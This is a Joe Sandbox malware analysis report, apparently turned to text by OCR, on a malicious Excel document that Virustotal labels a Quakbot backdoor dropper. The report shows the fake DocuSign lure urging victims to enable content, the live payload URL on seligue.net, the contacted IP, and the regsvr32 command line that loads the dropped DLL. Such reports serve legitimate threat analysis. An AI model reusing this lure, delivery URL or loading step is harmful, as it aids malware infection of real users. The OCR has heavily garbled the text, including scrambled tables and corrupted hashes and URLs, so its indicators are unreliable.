JOESandbox Cloud ™=

ID: 324311

Sample Name: document-
1425391613.xIs

Cookbook:
defaultwindowsofficecookbook.jbs
Time: 05:37:28

Date: 29/11/2020

Version: 31.0.0 Red Diamond



Table of Contents

Table of Contents
Analysis Report document-1425391613.xls

Overview
General Information
Detection
Signatures
Classification
Startup
Malware Configuration

Yara Overview
Initial Sample
Sigma Overview
System Summary:
Signature Overview
AV Detection:
Software Vulnerabilities:
System Summary:
HIPS / PFW / Operating System Protection Evasion:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains

URLs from Memory and Binaries
Contacted IPs

OCOW OWOWOOOPNN~NN~N~NNooOODT oo BdMNDMDMNMMNDNDDN

Public
General Information
Simulations
Behavior and APIs
Joe Sandbox View / Context 10
IPs 10
Domains 10
ASN 11
JA3 Fingerprints 11
Dropped Files 12
Created / dropped Files 12
Static File Info 15
General 15
File Icon 16
Static OLE Info 16
General 16
OLE File "document-1425391613.xIs" 16
Indicators 16
Summary 16
Document Summary 16
Streams 16
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 16
General 16
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 17
General 17
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326321 17

Copyright null 2020 Page 2 of 36



General
Macro 4.0 Code

Network Behavior
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTPS Packets

Code Manipulations

Statistics
Behavior

System Behavior
Analysis Process: EXCEL.EXE PID: 2384 Parent PID: 584

General
File Activities
File Created
File Deleted
File Moved
File Written
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process: regsvr32.exe PID: 2328 Parent PID: 2384

General

Disassembly
Code Analysis

Copyright null 2020

17
17

17
17
18
18
18
18

18

19
19

19

19
19
19
19
20
20
21
28
28
28
28

36
36

36
36

Page 3 of 36



Analysis Report document-1425391613.xls

Overview

General Information

Sample document-1425391613.xls
Name:

Analysis ID: 324311

MD5: 272290alfec50e7.
SHAL: 394504cde4fe75c.
SHA256: 15f053ef9e78¢33..
Tags:

Most interesting Screenshot:

B Micosoft DM o

EETOElel =]

Startup

= System is w7x64

Detection

MALICIOUS

Hidden Mac
Score: 80
Range: 0-100
Whitelisted:  false
Confidence:  100%

Multi AV Scanner detection

Classification

for subm...

Office document tries to convince Vvi...

Document exploit detected (UrlDown...

Document exploit detected (process...
Found Excel 4.0 Macro with suspicio...
Found obfuscated Excel 4.0 Macro
Sigma detected: Microsoft Office Pr...
Yara detected/hidden Macro/4.0/in E...
Document containsiembedded VBA ...

|IP'addressiseeniiniconnection withio:.:

JA3 SSLL

clientfingerprint seenlinicox..

Potential documentexploitdetected...

Potential documentexploitdetected...

w
«Q
>
2
(=
=
®
(7]
)

. EXCEL.EXE (PID: 2384 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
e [ regsvr32.exe (PID: 2328 cmdline: regsvr32 -s C:\giogtimpomgr\fwpxeohi.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source

document-1425391613.xls

document-1425391613.xls

Sigma Overview

System Summary:

Copyright null 2020

Rule

SUSP_ExceldMacro_Auto
Open

JoeSecurity_HiddenMacro

Description

Detects Excel4
macro use with
auto open / close

Yara detected
hidden Macro 4.0
in Excel

Author

John Lambert
@JohnLaTwC

Joe Security

Strings

e o o o

0x0:$header_docf: DO CF 11 EO

Ox4fea2:$s1: Excel

0x50f1d:$s1: Excel

0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 O
0 00 00 00 00 00 00 00 00 01 3A
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Signature Overview

@ AV Detection

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
@ HIPS / PFW / Operating System Protection Evasion

g

Click to jump to signature section

AV Detection: | |

Multi AV Scanner detection for submitted file

Software Vulnerabilities: | |

System Summary:

HIPS | PFW | Operating System Protection Evasion:

Mitre Att&ck Matrix

Command Remote
Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery = Movement Collection Exfiltration Control Effects Effects Impz
Valid Scripting Path Process Regsvr32 os File and Remote Data from  Exfiltration Encrypted Eavesdrop on Remotely Modi
Accounts Interception Injection Credential Directory Services Local Over Other Channel Insecure Track Device Syst
Dumping  Discovery System Network Network Without Parti
Medium Communication Authorization
Default  Exploitation for Boot or Boot or Masquerading LSASS System Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely Devi
Accounts Client Logon Logon Memory  Information  Desktop Removable Over Application Redirect Phone Wipe Data  Lock
Execution Initialization  Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Disable or Modify Security  Query SMB/Windows Data from Automated Application Exploit SS7to Obtain Dele
Accounts (Windows)  Script Tools Account  Registry Admin Shares Network Exfiltration Layer Track Device  Device Devi
(Windows) Manager Shared Protocol @4 Location Cloud Data
Drive Backups
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Initial
Access Execution

Local
Accounts

At (Windows)

Cloud
Accounts

Cron

Privilege
Persistence Escalation

Logon Script Logon

(Mac) Script
(Mac)

Network Network

Logon Script Logon
Script

Behavior Graph

— =

E EXCEL EXE

Screenshots

Thumbnails

Command Remote
Defense Credential Lateral and Network Service
Evasion Access Discovery  Movement Collection Exfiltration Control Effects Effects Impz
Process NTDS System Distributed Input Scheduled Ingress SIM Card Carri
Injection Network Component Capture Transfer Tool Swap Billin
Configuration Object Model Transfer Frau
Discovery
Scripting LSA Remote SSH Keylogging Data Fallback Manipulate Mani
Secrets System Transfer Channels  Device App
Discovery Size Limits Communication Ran}t
or Ré
Hide Legend
Behavior Graph Legend:
ID: 324311
l:‘ Process
Sample: document-1425391613.xls
Startdate: 20/11/2020 . Signature
Architecture:  WINDOWS . Created File
Score: 80
Il onsieinfo
ﬂ Is Dropped
H Is Windows Process

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

seligue.net

192.185.215.146, 443, 49165
UNIFIEDLAYER-AS-1US
United States ES

()
0@ 2 )

Y
*
"en

)ES 8

i
i
=

Number of created Registry Values

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

started
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document-1425391613 [Compatibility Mode] - Microsoft Excel - document-1425391613 [Compatibility Mode]

Home Insert Formulas Data Review View

¥ cut

53 Copy ~

# Format Painter
Clipboard Font

Page Layout

"
Calibri - :rg -ﬁjd B
Conditional Format  Cell
Formatting - as Table = Styles -
Styles Cells

= Ps/.v
B L U-| i = :

S Wrap Text General -

$-% > WS Insert Delete Format

Alignment Humber

x

@] Fin -
<2 Clear =

2T &
Sort & Find &
Filter~ Select~

Editing

c162 2

Docu.

THIS STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,
ENCRYPTED BY DOCUSIGN.

1 Click on "Enable editing" to unlock the editing document downloaded from the imernet.—‘_

0 Protected View This file originated from an Internet location and might be unsafe. Click for more details. ~ Enable Editing

Click on "Enable content" to perform Microsoft Word Decryption Core to start

the decryption of the document. o

|} security Waming Macros have been disabled. ~ Enable Content

W) Mc‘Afee v Symantec

B Microsoft 5N security Analytics

O

LR
Ready |

DocuSign ./ cr2_“NMacr3 .~ £a

=

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner
document-1425391613.xls 35% Virustotal
document-1425391613.xls 14% Metadefender
document-1425391613.xls 48% ReversingLabs
Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner
seligue.net 1% Virustotal
URLs
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|[EO@m 100% =

. S38AM
S O ET e ||

Label Link
Browse
Browse
Document-
Word.Backdoor.Quakbot
Label Link
Browse
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https://www.virustotal.com/gui/file/15f053ef9e78c3356fc0eafdd09c1b7e307e985f5a28e1ade7e943ec82ea03ef/detection/f-15f053ef9e78c3356fc0eafdd09c1b7e307e985f5a28e1ade7e943ec82ea03ef-1606545075
https://www.metadefender.com/#!/results/file/bzIwMTEyN3ZuZ3ZwTDNkbnhpZ1NxVUJzMWo/regular/analysis
https://www.virustotal.com/gui/url/927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885/detection/u-927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885-1606497351

Source

hitp:iy
hitp:iy
hitp:iy
hitp:iy
hitp:;

https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif
https://seligue.net/ds/231120.gif

/servername/isapibackend.dll

Domains and IPs

Contacted Domains

Name

seligue.net

URLs from Memory and Binaries

Name

hitp

hitp

:/https://seligue.net/ds/231120.gif

:/fservername/isapibackend.dll

Contacted IPs

Pu

IP
192

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

blic

Domain

.185.215.146 unknown
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Detection
0%
0%
0%
0%
0%

P Active Malicious

192.185.215.146 true false

Source Malicious

document-1425391613.xls false

regsvr32.exe, 00000003.0000000 false
2.2097432929.0000000001D40000.
00000002.00000001.sdmp

Country Flag

United States =

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection

e 1%, Virustotal, Browse

Antivirus Detection

Label

safe
safe
safe
safe

safe

e URL Reputation: safe

e URL Reputation
e URL Reputation
e URL Reputation

: safe
: safe
: safe

e Avira URL Cloud: safe

ASN
46606

ASN Name

Link

Reputation

unknown

Reputation

unknown

low

Malicious

UNIFIEDLAYER-AS-1US false
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https://www.virustotal.com/gui/url/927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885/detection/u-927ea7784e86797179581091d96b9d73e06b2d1ddee363ea495a42123dc86885-1606497351

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Copyright null 2020

31.0.0 Red Diamond

324311

29.11.2020

05:37:28

CloudBasic

Oh 4m 22s

false

light

document-1425391613.xls
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

5
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled

default

Timeout

MAL
mal80.expl.evad.winXLS@3/11@1/1
Failed

Failed

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
Xls

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

3

e o o o

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe

e Excluded IPs from analysis (whitelisted):
192.35.177.64, 2.20.142.209, 2.20.142.210,
93.184.221.240

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
wu.ec.azureedge.net,
audownload.windowsupdate.nsatc.net,
cs1l.wpc.vOcdn.net, apps.digsigtrust.com, hlb.apr-
52dd2-0.edgecastdns.net,
ctldl.windowsupdate.com, a767.dscg3.akamai.net,
wu.wpc.apr-52dd2.edgecastdns.net,
apps.identrust.com, au-bg-shim.trafficmanager.net,
wu.azureedge.net

e Report size getting too big, too many
NtDeviceloControlFile calls found.
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Joe Sandbox View | Context

IPs

Match
192.185.215.146

Domains

Match

seligue.net
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SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

> >
3 3
17 17
=] =]
=) 2.
S S
[ [
o [=1
[72] [72]
o o
3 3
3 3
) )
2 2
o o
3 3
) )
c c
A A
r r

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

Context

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146
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https://view.joesandbox.com/analysis/242986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242986/html/none?idtype=webid
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid
https://view.joesandbox.com/analysis/242986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242986/html/none?idtype=webid
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid

ASN

Match
UNIFIEDLAYER-AS-1US

JA3 Fingerprints

Match
7dcce5b76c8b17472d024758970a406b
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5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

Context

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146

192.185.21
5.146
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https://view.joesandbox.com/analysis/242986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242986/html/none?idtype=webid
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242926/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242902/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242853/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242843/html/none?idtype=webid
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242839/html/none?idtype=webid
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242826/html/none?idtype=webid
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242823/html/none?idtype=webid
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242818/html/none?idtype=webid
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242817/html/none?idtype=webid
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242796/html/none?idtype=webid
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242794/html/none?idtype=webid
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242793/html/none?idtype=webid
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242790/html/none?idtype=webid
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242784/html/none?idtype=webid
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242782/html/none?idtype=webid
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242983/html/none?idtype=webid
https://view.joesandbox.com/analysis/242981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242981/html/none?idtype=webid
https://view.joesandbox.com/analysis/242971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242971/html/none?idtype=webid
https://view.joesandbox.com/analysis/242964/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242964/html/none?idtype=webid
https://view.joesandbox.com/analysis/242950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242950/html/none?idtype=webid
https://view.joesandbox.com/analysis/242937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242937/html/none?idtype=webid
https://view.joesandbox.com/analysis/242933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242933/html/none?idtype=webid
https://view.joesandbox.com/analysis/242927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242927/html/none?idtype=webid
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242924/html/none?idtype=webid
https://view.joesandbox.com/analysis/242919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242919/html/none?idtype=webid
https://view.joesandbox.com/analysis/242908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242908/html/none?idtype=webid
https://view.joesandbox.com/analysis/242901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242901/html/none?idtype=webid
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242899/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Get hash malicious Browse e 192.185.21
5.146

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Microsoft Cabinet archive data, 58936 bytes, 1 file

dropped

58936

7.994797855729196

true
768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGelxOhoW6qCLANz2pj
E4F1E21910443409E81E5B55DC8DE774

EC0885660BD216DOCDD5E6762B2F595376995BD0
CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1IASA151EDA2A7AAG64D5250AEDY08C3B46AFE7262E66D957B255F6D57B6A6BBIE4AF9324F2C22E9BF0882
46

false

moderate, very likely benign file

MSCF....8....... TN Lo S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d.....(....]. M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u.............|..=H4.U=.X..qn.+S.MJ.....y.n.v.XC...
n7R..C s e 9+ ]0 2hs.an . awt LLs L OS> L pfi7 Ul Ls A wz AgLY

N.......C..2...P0$.Y..?m....Z0.93.>WO0&.y](....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p .60...eCS4.0......d..}.<,nh.;....)...e.]...Cx]..f.8.Z.&.G.....
.b....0GQ.V.qg..Y............q...0.V.Tu?.Z..r..J..>R.ZsQ...dn.0.<...0.K...|.....Q......X..C.....a;.*..NQ..x.b4..1 }." o\.cD"0."Y....SV..g...Y....0.=....k..u.
s.kV?@...M...S.n":G....U.ev..>..q."..$.)3..T..r.m.....6...r IH.B <ht.8.s..u[.N.dL.%...q....9..;T...5..\.....g...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

893

7.366016576663508

false
24:hBntmDVKUQQDVKUr7C5fpgp8gPvXHmMXvponXux:3ntmD5QQD5XC5RqHHXmMXvp++x
D4AE187B4574036C2D76B6DF8A8C1A30
BO6F409FA14BAB33CBAF4A37811B8740B624D9E5S
A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CCIF8FAB370386E13879C7

1F44A360E8BBBADA22BC5BFEO01F1BABB4E72005A46BC2A94C33C4BD149FF256CCEGF35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B
C

false

high, very likely benign file

0.y.*H..oo jo..f...1.0..* H........N0..J0..2....... D......09..@kO0...*.H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z7..210930
14011570?1$0"..U....Digital Signature Trust C0.1.0...U....DST Root CA X30.."0...*.H.. .0
.0...*8.y.1.P..e.Qc..a.Ka..Rk..K.(H.....>.... [*....p...%.tr{j.4.0..h{T....Z...=d.....Ap..r.&8U9C.... .
Ln00Ues {,g..Ku..."...0..* H.. A7 2K YD > > Kt~ WK Dl e NLple M HLUX L Z0 YN fBUYLLsGL+ U THL VKL Lr2...D.SrmCL.&H . Rg.
X..gvgx...V..9$1...Z0G..P....... dc 2.e.. Wv..(9..e.w.j.w.......)...55.1.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:

Copyright null 2020

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Page 12 of 36


https://view.joesandbox.com/analysis/242893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242893/html/none?idtype=webid
https://view.joesandbox.com/analysis/242891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242891/html/none?idtype=webid
https://view.joesandbox.com/analysis/242875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242875/html/none?idtype=webid
https://view.joesandbox.com/analysis/242867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242867/html/none?idtype=webid
https://view.joesandbox.com/analysis/242862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242862/html/none?idtype=webid
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242850/html/none?idtype=webid
https://view.joesandbox.com/analysis/242846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242846/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

data

dropped

326

3.123186963792904

false
6:kKdIPkswwDN+SkQIPIEGYRMY9z+4KIDA3RUegeT6If:FPVKPIE99SNXxAhUegeT2
5728109E1012AFF82300EA580771828A
OEABE47218B52BC426D5CD98365562ADOEED1DAB
E06CCB33200FOCCAC5A3AD9534C443957194C56 CE64CA8749E025EFF399AECAC

E079FD478E1EC3AC33016CDB86A60BA807DAOEB6C48B3882C6B64B9C344C6B38A6D1F28B4D461FABEEESOEDBAFAC05971EF37CC97D1EBE9B5BDA75134874¢€
C22

false

low

vyt T LYol S$e8httpa//etldl wind.ow.ss.u.p.d.ate..com/ms.dow.n.lo.ad/u.p.date./v.3./ls
tatic/trustedr/en/authro.o.ts.tl.cab..".0.6.9.559.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriICache\MetaData\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

252

2.994883490125454

false
